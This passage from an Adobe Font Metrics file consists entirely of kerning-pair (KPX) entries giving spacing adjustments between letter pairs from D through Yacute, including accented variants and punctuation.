KPX D Y -90
KPX D Yacute -90
KPX D Ydieresis -90
KPX D comma -70
KPX D period -70
KPX Dcaron A -40
KPX Dcaron Aacute -40
KPX Dcaron Abreve -40
KPX Dcaron Acircumflex -40
KPX Dcaron Adieresis -40
KPX Dcaron Agrave -40
KPX Dcaron Amacron -40
KPX Dcaron Aogonek -40
KPX Dcaron Aring -40
KPX Dcaron Atilde -40
KPX Dcaron V -70
KPX Dcaron W -40
KPX Dcaron Y -90
KPX Dcaron Yacute -90
KPX Dcaron Ydieresis -90
KPX Dcaron comma -70
KPX Dcaron period -70
KPX Dcroat A -40
KPX Dcroat Aacute -40
KPX Dcroat Abreve -40
KPX Dcroat Acircumflex -40
KPX Dcroat Adieresis -40
KPX Dcroat Agrave -40
KPX Dcroat Amacron -40
KPX Dcroat Aogonek -40
KPX Dcroat Aring -40
KPX Dcroat Atilde -40
KPX Dcroat V -70
KPX Dcroat W -40
KPX Dcroat Y -90
KPX Dcroat Yacute -90
KPX Dcroat Ydieresis -90
KPX Dcroat comma -70
KPX Dcroat period -70
KPX F A -80
KPX F Aacute -80
KPX F Abreve -80
KPX F Acircumflex -80
KPX F Adieresis -80
KPX F Agrave -80
KPX F Amacron -80
KPX F Aogonek -80
KPX F Aring -80
KPX F Atilde -80
KPX F a -50
KPX F aacute -50
KPX F abreve -50
KPX F acircumflex -50
KPX F adieresis -50
KPX F agrave -50
KPX F amacron -50
KPX F aogonek -50
KPX F aring -50
KPX F atilde -50
KPX F comma -150
KPX F e -30
KPX F eacute -30
KPX F ecaron -30
KPX F ecircumflex -30
KPX F edieresis -30
KPX F edotaccent -30
KPX F egrave -30
KPX F emacron -30
KPX F eogonek -30
KPX F o -30
KPX F oacute -30
KPX F ocircumflex -30
KPX F odieresis -30
KPX F ograve -30
KPX F ohungarumlaut -30
KPX F omacron -30
KPX F oslash -30
KPX F otilde -30
KPX F period -150
KPX F r -45
KPX F racute -45
KPX F rcaron -45
KPX F rcommaaccent -45
KPX J A -20
KPX J Aacute -20
KPX J Abreve -20
KPX J Acircumflex -20
KPX J Adieresis -20
KPX J Agrave -20
KPX J Amacron -20
KPX J Aogonek -20
KPX J Aring -20
KPX J Atilde -20
KPX J a -20
KPX J aacute -20
KPX J abreve -20
KPX J acircumflex -20
KPX J adieresis -20
KPX J agrave -20
KPX J amacron -20
KPX J aogonek -20
KPX J aring -20
KPX J atilde -20
KPX J comma -30
KPX J period -30
KPX J u -20
KPX J uacute -20
KPX J ucircumflex -20
KPX J udieresis -20
KPX J ugrave -20
KPX J uhungarumlaut -20
KPX J umacron -20
KPX J uogonek -20
KPX J uring -20
KPX K O -50
KPX K Oacute -50
KPX K Ocircumflex -50
KPX K Odieresis -50
KPX K Ograve -50
KPX K Ohungarumlaut -50
KPX K Omacron -50
KPX K Oslash -50
KPX K Otilde -50
KPX K e -40
KPX K eacute -40
KPX K ecaron -40
KPX K ecircumflex -40
KPX K edieresis -40
KPX K edotaccent -40
KPX K egrave -40
KPX K emacron -40
KPX K eogonek -40
KPX K o -40
KPX K oacute -40
KPX K ocircumflex -40
KPX K odieresis -40
KPX K ograve -40
KPX K ohungarumlaut -40
KPX K omacron -40
KPX K oslash -40
KPX K otilde -40
KPX K u -30
KPX K uacute -30
KPX K ucircumflex -30
KPX K udieresis -30
KPX K ugrave -30
KPX K uhungarumlaut -30
KPX K umacron -30
KPX K uogonek -30
KPX K uring -30
KPX K y -50
KPX K yacute -50
KPX K ydieresis -50
KPX Kcommaaccent O -50
KPX Kcommaaccent Oacute -50
KPX Kcommaaccent Ocircumflex -50
KPX Kcommaaccent Odieresis -50
KPX Kcommaaccent Ograve -50
KPX Kcommaaccent Ohungarumlaut -50
KPX Kcommaaccent Omacron -50
KPX Kcommaaccent Oslash -50
KPX Kcommaaccent Otilde -50
KPX Kcommaaccent e -40
KPX Kcommaaccent eacute -40
KPX Kcommaaccent ecaron -40
KPX Kcommaaccent ecircumflex -40
KPX Kcommaaccent edieresis -40
KPX Kcommaaccent edotaccent -40
KPX Kcommaaccent egrave -40
KPX Kcommaaccent emacron -40
KPX Kcommaaccent eogonek -40
KPX Kcommaaccent o -40
KPX Kcommaaccent oacute -40
KPX Kcommaaccent ocircumflex -40
KPX Kcommaaccent odieresis -40
KPX Kcommaaccent ograve -40
KPX Kcommaaccent ohungarumlaut -40
KPX Kcommaaccent omacron -40
KPX Kcommaaccent oslash -40
KPX Kcommaaccent otilde -40
KPX Kcommaaccent u -30
KPX Kcommaaccent uacute -30
KPX Kcommaaccent ucircumflex -30
KPX Kcommaaccent udieresis -30
KPX Kcommaaccent ugrave -30
KPX Kcommaaccent uhungarumlaut -30
KPX Kcommaaccent umacron -30
KPX Kcommaaccent uogonek -30
KPX Kcommaaccent uring -30
KPX Kcommaaccent y -50
KPX Kcommaaccent yacute -50
KPX Kcommaaccent ydieresis -50
KPX L T -110
KPX L Tcaron -110
KPX L Tcommaaccent -110
KPX L V -110
KPX L W -70
KPX L Y -140
KPX L Yacute -140
KPX L Ydieresis -140
KPX L quotedblright -140
KPX L quoteright -160
KPX L y -30
KPX L yacute -30
KPX L ydieresis -30
KPX Lacute T -110
KPX Lacute Tcaron -110
KPX Lacute Tcommaaccent -110
KPX Lacute V -110
KPX Lacute W -70
KPX Lacute Y -140
KPX Lacute Yacute -140
KPX Lacute Ydieresis -140
KPX Lacute quotedblright -140
KPX Lacute quoteright -160
KPX Lacute y -30
KPX Lacute yacute -30
KPX Lacute ydieresis -30
KPX Lcaron T -110
KPX Lcaron Tcaron -110
KPX Lcaron Tcommaaccent -110
KPX Lcaron V -110
KPX Lcaron W -70
KPX Lcaron Y -140
KPX Lcaron Yacute -140
KPX Lcaron Ydieresis -140
KPX Lcaron quotedblright -140
KPX Lcaron quoteright -160
KPX Lcaron y -30
KPX Lcaron yacute -30
KPX Lcaron ydieresis -30
KPX Lcommaaccent T -110
KPX Lcommaaccent Tcaron -110
KPX Lcommaaccent Tcommaaccent -110
KPX Lcommaaccent V -110
KPX Lcommaaccent W -70
KPX Lcommaaccent Y -140
KPX Lcommaaccent Yacute -140
KPX Lcommaaccent Ydieresis -140
KPX Lcommaaccent quotedblright -140
KPX Lcommaaccent quoteright -160
KPX Lcommaaccent y -30
KPX Lcommaaccent yacute -30
KPX Lcommaaccent ydieresis -30
KPX Lslash T -110
KPX Lslash Tcaron -110
KPX Lslash Tcommaaccent -110
KPX Lslash V -110
KPX Lslash W -70
KPX Lslash Y -140
KPX Lslash Yacute -140
KPX Lslash Ydieresis -140
KPX Lslash quotedblright -140
KPX Lslash quoteright -160
KPX Lslash y -30
KPX Lslash yacute -30
KPX Lslash ydieresis -30
KPX O A -20
KPX O Aacute -20
KPX O Abreve -20
KPX O Acircumflex -20
KPX O Adieresis -20
KPX O Agrave -20
KPX O Amacron -20
KPX O Aogonek -20
KPX O Aring -20
KPX O Atilde -20
KPX O T -40
KPX O Tcaron -40
KPX O Tcommaaccent -40
KPX O V -50
KPX O W -30
KPX O X -60
KPX O Y -70
KPX O Yacute -70
KPX O Ydieresis -70
KPX O comma -40
KPX O period -40
KPX Oacute A -20
KPX Oacute Aacute -20
KPX Oacute Abreve -20
KPX Oacute Acircumflex -20
KPX Oacute Adieresis -20
KPX Oacute Agrave -20
KPX Oacute Amacron -20
KPX Oacute Aogonek -20
KPX Oacute Aring -20
KPX Oacute Atilde -20
KPX Oacute T -40
KPX Oacute Tcaron -40
KPX Oacute Tcommaaccent -40
KPX Oacute V -50
KPX Oacute W -30
KPX Oacute X -60
KPX Oacute Y -70
KPX Oacute Yacute -70
KPX Oacute Ydieresis -70
KPX Oacute comma -40
KPX Oacute period -40
KPX Ocircumflex A -20
KPX Ocircumflex Aacute -20
KPX Ocircumflex Abreve -20
KPX Ocircumflex Acircumflex -20
KPX Ocircumflex Adieresis -20
KPX Ocircumflex Agrave -20
KPX Ocircumflex Amacron -20
KPX Ocircumflex Aogonek -20
KPX Ocircumflex Aring -20
KPX Ocircumflex Atilde -20
KPX Ocircumflex T -40
KPX Ocircumflex Tcaron -40
KPX Ocircumflex Tcommaaccent -40
KPX Ocircumflex V -50
KPX Ocircumflex W -30
KPX Ocircumflex X -60
KPX Ocircumflex Y -70
KPX Ocircumflex Yacute -70
KPX Ocircumflex Ydieresis -70
KPX Ocircumflex comma -40
KPX Ocircumflex period -40
KPX Odieresis A -20
KPX Odieresis Aacute -20
KPX Odieresis Abreve -20
KPX Odieresis Acircumflex -20
KPX Odieresis Adieresis -20
KPX Odieresis Agrave -20
KPX Odieresis Amacron -20
KPX Odieresis Aogonek -20
KPX Odieresis Aring -20
KPX Odieresis Atilde -20
KPX Odieresis T -40
KPX Odieresis Tcaron -40
KPX Odieresis Tcommaaccent -40
KPX Odieresis V -50
KPX Odieresis W -30
KPX Odieresis X -60
KPX Odieresis Y -70
KPX Odieresis Yacute -70
KPX Odieresis Ydieresis -70
KPX Odieresis comma -40
KPX Odieresis period -40
KPX Ograve A -20
KPX Ograve Aacute -20
KPX Ograve Abreve -20
KPX Ograve Acircumflex -20
KPX Ograve Adieresis -20
KPX Ograve Agrave -20
KPX Ograve Amacron -20
KPX Ograve Aogonek -20
KPX Ograve Aring -20
KPX Ograve Atilde -20
KPX Ograve T -40
KPX Ograve Tcaron -40
KPX Ograve Tcommaaccent -40
KPX Ograve V -50
KPX Ograve W -30
KPX Ograve X -60
KPX Ograve Y -70
KPX Ograve Yacute -70
KPX Ograve Ydieresis -70
KPX Ograve comma -40
KPX Ograve period -40
KPX Ohungarumlaut A -20
KPX Ohungarumlaut Aacute -20
KPX Ohungarumlaut Abreve -20
KPX Ohungarumlaut Acircumflex -20
KPX Ohungarumlaut Adieresis -20
KPX Ohungarumlaut Agrave -20
KPX Ohungarumlaut Amacron -20
KPX Ohungarumlaut Aogonek -20
KPX Ohungarumlaut Aring -20
KPX Ohungarumlaut Atilde -20
KPX Ohungarumlaut T -40
KPX Ohungarumlaut Tcaron -40
KPX Ohungarumlaut Tcommaaccent -40
KPX Ohungarumlaut V -50
KPX Ohungarumlaut W -30
KPX Ohungarumlaut X -60
KPX Ohungarumlaut Y -70
KPX Ohungarumlaut Yacute -70
KPX Ohungarumlaut Ydieresis -70
KPX Ohungarumlaut comma -40
KPX Ohungarumlaut period -40
KPX Omacron A -20
KPX Omacron Aacute -20
KPX Omacron Abreve -20
KPX Omacron Acircumflex -20
KPX Omacron Adieresis -20
KPX Omacron Agrave -20
KPX Omacron Amacron -20
KPX Omacron Aogonek -20
KPX Omacron Aring -20
KPX Omacron Atilde -20
KPX Omacron T -40
KPX Omacron Tcaron -40
KPX Omacron Tcommaaccent -40
KPX Omacron V -50
KPX Omacron W -30
KPX Omacron X -60
KPX Omacron Y -70
KPX Omacron Yacute -70
KPX Omacron Ydieresis -70
KPX Omacron comma -40
KPX Omacron period -40
KPX Oslash A -20
KPX Oslash Aacute -20
KPX Oslash Abreve -20
KPX Oslash Acircumflex -20
KPX Oslash Adieresis -20
KPX Oslash Agrave -20
KPX Oslash Amacron -20
KPX Oslash Aogonek -20
KPX Oslash Aring -20
KPX Oslash Atilde -20
KPX Oslash T -40
KPX Oslash Tcaron -40
KPX Oslash Tcommaaccent -40
KPX Oslash V -50
KPX Oslash W -30
KPX Oslash X -60
KPX Oslash Y -70
KPX Oslash Yacute -70
KPX Oslash Ydieresis -70
KPX Oslash comma -40
KPX Oslash period -40
KPX Otilde A -20
KPX Otilde Aacute -20
KPX Otilde Abreve -20
KPX Otilde Acircumflex -20
KPX Otilde Adieresis -20
KPX Otilde Agrave -20
KPX Otilde Amacron -20
KPX Otilde Aogonek -20
KPX Otilde Aring -20
KPX Otilde Atilde -20
KPX Otilde T -40
KPX Otilde Tcaron -40
KPX Otilde Tcommaaccent -40
KPX Otilde V -50
KPX Otilde W -30
KPX Otilde X -60
KPX Otilde Y -70
KPX Otilde Yacute -70
KPX Otilde Ydieresis -70
KPX Otilde comma -40
KPX Otilde period -40
KPX P A -120
KPX P Aacute -120
KPX P Abreve -120
KPX P Acircumflex -120
KPX P Adieresis -120
KPX P Agrave -120
KPX P Amacron -120
KPX P Aogonek -120
KPX P Aring -120
KPX P Atilde -120
KPX P a -40
KPX P aacute -40
KPX P abreve -40
KPX P acircumflex -40
KPX P adieresis -40
KPX P agrave -40
KPX P amacron -40
KPX P aogonek -40
KPX P aring -40
KPX P atilde -40
KPX P comma -180
KPX P e -50
KPX P eacute -50
KPX P ecaron -50
KPX P ecircumflex -50
KPX P edieresis -50
KPX P edotaccent -50
KPX P egrave -50
KPX P emacron -50
KPX P eogonek -50
KPX P o -50
KPX P oacute -50
KPX P ocircumflex -50
KPX P odieresis -50
KPX P ograve -50
KPX P ohungarumlaut -50
KPX P omacron -50
KPX P oslash -50
KPX P otilde -50
KPX P period -180
KPX Q U -10
KPX Q Uacute -10
KPX Q Ucircumflex -10
KPX Q Udieresis -10
KPX Q Ugrave -10
KPX Q Uhungarumlaut -10
KPX Q Umacron -10
KPX Q Uogonek -10
KPX Q Uring -10
KPX R O -20
KPX R Oacute -20
KPX R Ocircumflex -20
KPX R Odieresis -20
KPX R Ograve -20
KPX R Ohungarumlaut -20
KPX R Omacron -20
KPX R Oslash -20
KPX R Otilde -20
KPX R T -30
KPX R Tcaron -30
KPX R Tcommaaccent -30
KPX R U -40
KPX R Uacute -40
KPX R Ucircumflex -40
KPX R Udieresis -40
KPX R Ugrave -40
KPX R Uhungarumlaut -40
KPX R Umacron -40
KPX R Uogonek -40
KPX R Uring -40
KPX R V -50
KPX R W -30
KPX R Y -50
KPX R Yacute -50
KPX R Ydieresis -50
KPX Racute O -20
KPX Racute Oacute -20
KPX Racute Ocircumflex -20
KPX Racute Odieresis -20
KPX Racute Ograve -20
KPX Racute Ohungarumlaut -20
KPX Racute Omacron -20
KPX Racute Oslash -20
KPX Racute Otilde -20
KPX Racute T -30
KPX Racute Tcaron -30
KPX Racute Tcommaaccent -30
KPX Racute U -40
KPX Racute Uacute -40
KPX Racute Ucircumflex -40
KPX Racute Udieresis -40
KPX Racute Ugrave -40
KPX Racute Uhungarumlaut -40
KPX Racute Umacron -40
KPX Racute Uogonek -40
KPX Racute Uring -40
KPX Racute V -50
KPX Racute W -30
KPX Racute Y -50
KPX Racute Yacute -50
KPX Racute Ydieresis -50
KPX Rcaron O -20
KPX Rcaron Oacute -20
KPX Rcaron Ocircumflex -20
KPX Rcaron Odieresis -20
KPX Rcaron Ograve -20
KPX Rcaron Ohungarumlaut -20
KPX Rcaron Omacron -20
KPX Rcaron Oslash -20
KPX Rcaron Otilde -20
KPX Rcaron T -30
KPX Rcaron Tcaron -30
KPX Rcaron Tcommaaccent -30
KPX Rcaron U -40
KPX Rcaron Uacute -40
KPX Rcaron Ucircumflex -40
KPX Rcaron Udieresis -40
KPX Rcaron Ugrave -40
KPX Rcaron Uhungarumlaut -40
KPX Rcaron Umacron -40
KPX Rcaron Uogonek -40
KPX Rcaron Uring -40
KPX Rcaron V -50
KPX Rcaron W -30
KPX Rcaron Y -50
KPX Rcaron Yacute -50
KPX Rcaron Ydieresis -50
KPX Rcommaaccent O -20
KPX Rcommaaccent Oacute -20
KPX Rcommaaccent Ocircumflex -20
KPX Rcommaaccent Odieresis -20
KPX Rcommaaccent Ograve -20
KPX Rcommaaccent Ohungarumlaut -20
KPX Rcommaaccent Omacron -20
KPX Rcommaaccent Oslash -20
KPX Rcommaaccent Otilde -20
KPX Rcommaaccent T -30
KPX Rcommaaccent Tcaron -30
KPX Rcommaaccent Tcommaaccent -30
KPX Rcommaaccent U -40
KPX Rcommaaccent Uacute -40
KPX Rcommaaccent Ucircumflex -40
KPX Rcommaaccent Udieresis -40
KPX Rcommaaccent Ugrave -40
KPX Rcommaaccent Uhungarumlaut -40
KPX Rcommaaccent Umacron -40
KPX Rcommaaccent Uogonek -40
KPX Rcommaaccent Uring -40
KPX Rcommaaccent V -50
KPX Rcommaaccent W -30
KPX Rcommaaccent Y -50
KPX Rcommaaccent Yacute -50
KPX Rcommaaccent Ydieresis -50
KPX S comma -20
KPX S period -20
KPX Sacute comma -20
KPX Sacute period -20
KPX Scaron comma -20
KPX Scaron period -20
KPX Scedilla comma -20
KPX Scedilla period -20
KPX Scommaaccent comma -20
KPX Scommaaccent period -20
KPX T A -120
KPX T Aacute -120
KPX T Abreve -120
KPX T Acircumflex -120
KPX T Adieresis -120
KPX T Agrave -120
KPX T Amacron -120
KPX T Aogonek -120
KPX T Aring -120
KPX T Atilde -120
KPX T O -40
KPX T Oacute -40
KPX T Ocircumflex -40
KPX T Odieresis -40
KPX T Ograve -40
KPX T Ohungarumlaut -40
KPX T Omacron -40
KPX T Oslash -40
KPX T Otilde -40
KPX T a -120
KPX T aacute -120
KPX T abreve -60
KPX T acircumflex -120
KPX T adieresis -120
KPX T agrave -120
KPX T amacron -60
KPX T aogonek -120
KPX T aring -120
KPX T atilde -60
KPX T colon -20
KPX T comma -120
KPX T e -120
KPX T eacute -120
KPX T ecaron -120
KPX T ecircumflex -120
KPX T edieresis -120
KPX T edotaccent -120
KPX T egrave -60
KPX T emacron -60
KPX T eogonek -120
KPX T hyphen -140
KPX T o -120
KPX T oacute -120
KPX T ocircumflex -120
KPX T odieresis -120
KPX T ograve -120
KPX T ohungarumlaut -120
KPX T omacron -60
KPX T oslash -120
KPX T otilde -60
KPX T period -120
KPX T r -120
KPX T racute -120
KPX T rcaron -120
KPX T rcommaaccent -120
KPX T semicolon -20
KPX T u -120
KPX T uacute -120
KPX T ucircumflex -120
KPX T udieresis -120
KPX T ugrave -120
KPX T uhungarumlaut -120
KPX T umacron -60
KPX T uogonek -120
KPX T uring -120
KPX T w -120
KPX T y -120
KPX T yacute -120
KPX T ydieresis -60
KPX Tcaron A -120
KPX Tcaron Aacute -120
KPX Tcaron Abreve -120
KPX Tcaron Acircumflex -120
KPX Tcaron Adieresis -120
KPX Tcaron Agrave -120
KPX Tcaron Amacron -120
KPX Tcaron Aogonek -120
KPX Tcaron Aring -120
KPX Tcaron Atilde -120
KPX Tcaron O -40
KPX Tcaron Oacute -40
KPX Tcaron Ocircumflex -40
KPX Tcaron Odieresis -40
KPX Tcaron Ograve -40
KPX Tcaron Ohungarumlaut -40
KPX Tcaron Omacron -40
KPX Tcaron Oslash -40
KPX Tcaron Otilde -40
KPX Tcaron a -120
KPX Tcaron aacute -120
KPX Tcaron abreve -60
KPX Tcaron acircumflex -120
KPX Tcaron adieresis -120
KPX Tcaron agrave -120
KPX Tcaron amacron -60
KPX Tcaron aogonek -120
KPX Tcaron aring -120
KPX Tcaron atilde -60
KPX Tcaron colon -20
KPX Tcaron comma -120
KPX Tcaron e -120
KPX Tcaron eacute -120
KPX Tcaron ecaron -120
KPX Tcaron ecircumflex -120
KPX Tcaron edieresis -120
KPX Tcaron edotaccent -120
KPX Tcaron egrave -60
KPX Tcaron emacron -60
KPX Tcaron eogonek -120
KPX Tcaron hyphen -140
KPX Tcaron o -120
KPX Tcaron oacute -120
KPX Tcaron ocircumflex -120
KPX Tcaron odieresis -120
KPX Tcaron ograve -120
KPX Tcaron ohungarumlaut -120
KPX Tcaron omacron -60
KPX Tcaron oslash -120
KPX Tcaron otilde -60
KPX Tcaron period -120
KPX Tcaron r -120
KPX Tcaron racute -120
KPX Tcaron rcaron -120
KPX Tcaron rcommaaccent -120
KPX Tcaron semicolon -20
KPX Tcaron u -120
KPX Tcaron uacute -120
KPX Tcaron ucircumflex -120
KPX Tcaron udieresis -120
KPX Tcaron ugrave -120
KPX Tcaron uhungarumlaut -120
KPX Tcaron umacron -60
KPX Tcaron uogonek -120
KPX Tcaron uring -120
KPX Tcaron w -120
KPX Tcaron y -120
KPX Tcaron yacute -120
KPX Tcaron ydieresis -60
KPX Tcommaaccent A -120
KPX Tcommaaccent Aacute -120
KPX Tcommaaccent Abreve -120
KPX Tcommaaccent Acircumflex -120
KPX Tcommaaccent Adieresis -120
KPX Tcommaaccent Agrave -120
KPX Tcommaaccent Amacron -120
KPX Tcommaaccent Aogonek -120
KPX Tcommaaccent Aring -120
KPX Tcommaaccent Atilde -120
KPX Tcommaaccent O -40
KPX Tcommaaccent Oacute -40
KPX Tcommaaccent Ocircumflex -40
KPX Tcommaaccent Odieresis -40
KPX Tcommaaccent Ograve -40
KPX Tcommaaccent Ohungarumlaut -40
KPX Tcommaaccent Omacron -40
KPX Tcommaaccent Oslash -40
KPX Tcommaaccent Otilde -40
KPX Tcommaaccent a -120
KPX Tcommaaccent aacute -120
KPX Tcommaaccent abreve -60
KPX Tcommaaccent acircumflex -120
KPX Tcommaaccent adieresis -120
KPX Tcommaaccent agrave -120
KPX Tcommaaccent amacron -60
KPX Tcommaaccent aogonek -120
KPX Tcommaaccent aring -120
KPX Tcommaaccent atilde -60
KPX Tcommaaccent colon -20
KPX Tcommaaccent comma -120
KPX Tcommaaccent e -120
KPX Tcommaaccent eacute -120
KPX Tcommaaccent ecaron -120
KPX Tcommaaccent ecircumflex -120
KPX Tcommaaccent edieresis -120
KPX Tcommaaccent edotaccent -120
KPX Tcommaaccent egrave -60
KPX Tcommaaccent emacron -60
KPX Tcommaaccent eogonek -120
KPX Tcommaaccent hyphen -140
KPX Tcommaaccent o -120
KPX Tcommaaccent oacute -120
KPX Tcommaaccent ocircumflex -120
KPX Tcommaaccent odieresis -120
KPX Tcommaaccent ograve -120
KPX Tcommaaccent ohungarumlaut -120
KPX Tcommaaccent omacron -60
KPX Tcommaaccent oslash -120
KPX Tcommaaccent otilde -60
KPX Tcommaaccent period -120
KPX Tcommaaccent r -120
KPX Tcommaaccent racute -120
KPX Tcommaaccent rcaron -120
KPX Tcommaaccent rcommaaccent -120
KPX Tcommaaccent semicolon -20
KPX Tcommaaccent u -120
KPX Tcommaaccent uacute -120
KPX Tcommaaccent ucircumflex -120
KPX Tcommaaccent udieresis -120
KPX Tcommaaccent ugrave -120
KPX Tcommaaccent uhungarumlaut -120
KPX Tcommaaccent umacron -60
KPX Tcommaaccent uogonek -120
KPX Tcommaaccent uring -120
KPX Tcommaaccent w -120
KPX Tcommaaccent y -120
KPX Tcommaaccent yacute -120
KPX Tcommaaccent ydieresis -60
KPX U A -40
KPX U Aacute -40
KPX U Abreve -40
KPX U Acircumflex -40
KPX U Adieresis -40
KPX U Agrave -40
KPX U Amacron -40
KPX U Aogonek -40
KPX U Aring -40
KPX U Atilde -40
KPX U comma -40
KPX U period -40
KPX Uacute A -40
KPX Uacute Aacute -40
KPX Uacute Abreve -40
KPX Uacute Acircumflex -40
KPX Uacute Adieresis -40
KPX Uacute Agrave -40
KPX Uacute Amacron -40
KPX Uacute Aogonek -40
KPX Uacute Aring -40
KPX Uacute Atilde -40
KPX Uacute comma -40
KPX Uacute period -40
KPX Ucircumflex A -40
KPX Ucircumflex Aacute -40
KPX Ucircumflex Abreve -40
KPX Ucircumflex Acircumflex -40
KPX Ucircumflex Adieresis -40
KPX Ucircumflex Agrave -40
KPX Ucircumflex Amacron -40
KPX Ucircumflex Aogonek -40
KPX Ucircumflex Aring -40
KPX Ucircumflex Atilde -40
KPX Ucircumflex comma -40
KPX Ucircumflex period -40
KPX Udieresis A -40
KPX Udieresis Aacute -40
KPX Udieresis Abreve -40
KPX Udieresis Acircumflex -40
KPX Udieresis Adieresis -40
KPX Udieresis Agrave -40
KPX Udieresis Amacron -40
KPX Udieresis Aogonek -40
KPX Udieresis Aring -40
KPX Udieresis Atilde -40
KPX Udieresis comma -40
KPX Udieresis period -40
KPX Ugrave A -40
KPX Ugrave Aacute -40
KPX Ugrave Abreve -40
KPX Ugrave Acircumflex -40
KPX Ugrave Adieresis -40
KPX Ugrave Agrave -40
KPX Ugrave Amacron -40
KPX Ugrave Aogonek -40
KPX Ugrave Aring -40
KPX Ugrave Atilde -40
KPX Ugrave comma -40
KPX Ugrave period -40
KPX Uhungarumlaut A -40
KPX Uhungarumlaut Aacute -40
KPX Uhungarumlaut Abreve -40
KPX Uhungarumlaut Acircumflex -40
KPX Uhungarumlaut Adieresis -40
KPX Uhungarumlaut Agrave -40
KPX Uhungarumlaut Amacron -40
KPX Uhungarumlaut Aogonek -40
KPX Uhungarumlaut Aring -40
KPX Uhungarumlaut Atilde -40
KPX Uhungarumlaut comma -40
KPX Uhungarumlaut period -40
KPX Umacron A -40
KPX Umacron Aacute -40
KPX Umacron Abreve -40
KPX Umacron Acircumflex -40
KPX Umacron Adieresis -40
KPX Umacron Agrave -40
KPX Umacron Amacron -40
KPX Umacron Aogonek -40
KPX Umacron Aring -40
KPX Umacron Atilde -40
KPX Umacron comma -40
KPX Umacron period -40
KPX Uogonek A -40
KPX Uogonek Aacute -40
KPX Uogonek Abreve -40
KPX Uogonek Acircumflex -40
KPX Uogonek Adieresis -40
KPX Uogonek Agrave -40
KPX Uogonek Amacron -40
KPX Uogonek Aogonek -40
KPX Uogonek Aring -40
KPX Uogonek Atilde -40
KPX Uogonek comma -40
KPX Uogonek period -40
KPX Uring A -40
KPX Uring Aacute -40
KPX Uring Abreve -40
KPX Uring Acircumflex -40
KPX Uring Adieresis -40
KPX Uring Agrave -40
KPX Uring Amacron -40
KPX Uring Aogonek -40
KPX Uring Aring -40
KPX Uring Atilde -40
KPX Uring comma -40
KPX Uring period -40
KPX V A -80
KPX V Aacute -80
KPX V Abreve -80
KPX V Acircumflex -80
KPX V Adieresis -80
KPX V Agrave -80
KPX V Amacron -80
KPX V Aogonek -80
KPX V Aring -80
KPX V Atilde -80
KPX V G -40
KPX V Gbreve -40
KPX V Gcommaaccent -40
KPX V O -40
KPX V Oacute -40
KPX V Ocircumflex -40
KPX V Odieresis -40
KPX V Ograve -40
KPX V Ohungarumlaut -40
KPX V Omacron -40
KPX V Oslash -40
KPX V Otilde -40
KPX V a -70
KPX V aacute -70
KPX V abreve -70
KPX V acircumflex -70
KPX V adieresis -70
KPX V agrave -70
KPX V amacron -70
KPX V aogonek -70
KPX V aring -70
KPX V atilde -70
KPX V colon -40
KPX V comma -125
KPX V e -80
KPX V eacute -80
KPX V ecaron -80
KPX V ecircumflex -80
KPX V edieresis -80
KPX V edotaccent -80
KPX V egrave -80
KPX V emacron -80
KPX V eogonek -80
KPX V hyphen -80
KPX V o -80
KPX V oacute -80
KPX V ocircumflex -80
KPX V odieresis -80
KPX V ograve -80
KPX V ohungarumlaut -80
KPX V omacron -80
KPX V oslash -80
KPX V otilde -80
KPX V period -125
KPX V semicolon -40
KPX V u -70
KPX V uacute -70
KPX V ucircumflex -70
KPX V udieresis -70
KPX V ugrave -70
KPX V uhungarumlaut -70
KPX V umacron -70
KPX V uogonek -70
KPX V uring -70
KPX W A -50
KPX W Aacute -50
KPX W Abreve -50
KPX W Acircumflex -50
KPX W Adieresis -50
KPX W Agrave -50
KPX W Amacron -50
KPX W Aogonek -50
KPX W Aring -50
KPX W Atilde -50
KPX W O -20
KPX W Oacute -20
KPX W Ocircumflex -20
KPX W Odieresis -20
KPX W Ograve -20
KPX W Ohungarumlaut -20
KPX W Omacron -20
KPX W Oslash -20
KPX W Otilde -20
KPX W a -40
KPX W aacute -40
KPX W abreve -40
KPX W acircumflex -40
KPX W adieresis -40
KPX W agrave -40
KPX W amacron -40
KPX W aogonek -40
KPX W aring -40
KPX W atilde -40
KPX W comma -80
KPX W e -30
KPX W eacute -30
KPX W ecaron -30
KPX W ecircumflex -30
KPX W edieresis -30
KPX W edotaccent -30
KPX W egrave -30
KPX W emacron -30
KPX W eogonek -30
KPX W hyphen -40
KPX W o -30
KPX W oacute -30
KPX W ocircumflex -30
KPX W odieresis -30
KPX W ograve -30
KPX W ohungarumlaut -30
KPX W omacron -30
KPX W oslash -30
KPX W otilde -30
KPX W period -80
KPX W u -30
KPX W uacute -30
KPX W ucircumflex -30
KPX W udieresis -30
KPX W ugrave -30
KPX W uhungarumlaut -30
KPX W umacron -30
KPX W uogonek -30
KPX W uring -30
KPX W y -20
KPX W yacute -20
KPX W ydieresis -20
KPX Y A -110
KPX Y Aacute -110
KPX Y Abreve -110
KPX Y Acircumflex -110
KPX Y Adieresis -110
KPX Y Agrave -110
KPX Y Amacron -110
KPX Y Aogonek -110
KPX Y Aring -110
KPX Y Atilde -110
KPX Y O -85
KPX Y Oacute -85
KPX Y Ocircumflex -85
KPX Y Odieresis -85
KPX Y Ograve -85
KPX Y Ohungarumlaut -85
KPX Y Omacron -85
KPX Y Oslash -85
KPX Y Otilde -85
KPX Y a -140
KPX Y aacute -140
KPX Y abreve -70
KPX Y acircumflex -140
KPX Y adieresis -140
KPX Y agrave -140
KPX Y amacron -70
KPX Y aogonek -140
KPX Y aring -140
KPX Y atilde -140
KPX Y colon -60
KPX Y comma -140
KPX Y e -140
KPX Y eacute -140
KPX Y ecaron -140
KPX Y ecircumflex -140
KPX Y edieresis -140
KPX Y edotaccent -140
KPX Y egrave -140
KPX Y emacron -70
KPX Y eogonek -140
KPX Y hyphen -140
KPX Y i -20
KPX Y iacute -20
KPX Y iogonek -20
KPX Y o -140
KPX Y oacute -140
KPX Y ocircumflex -140
KPX Y odieresis -140
KPX Y ograve -140
KPX Y ohungarumlaut -140
KPX Y omacron -140
KPX Y oslash -140
KPX Y otilde -140
KPX Y period -140
KPX Y semicolon -60
KPX Y u -110
KPX Y uacute -110
KPX Y ucircumflex -110
KPX Y udieresis -110
KPX Y ugrave -110
KPX Y uhungarumlaut -110
KPX Y umacron -110
KPX Y uogonek -110
KPX Y uring -110
KPX Yacute A -110
KPX Yacute Aacute -110
KPX Yacute Abreve -110
KPX Yacute Acircumflex -110
KPX Yacute Adieresis -110
KPX Yacute Agrave -110
KPX Yacute Amacron -110
KPX Yacute Aogonek -110
KPX Yacute Aring -110
KPX Yacute Atilde -110
KPX Yacute O -85
KPX Yacute Oacute -85
KPX Yacute Ocircumflex -85
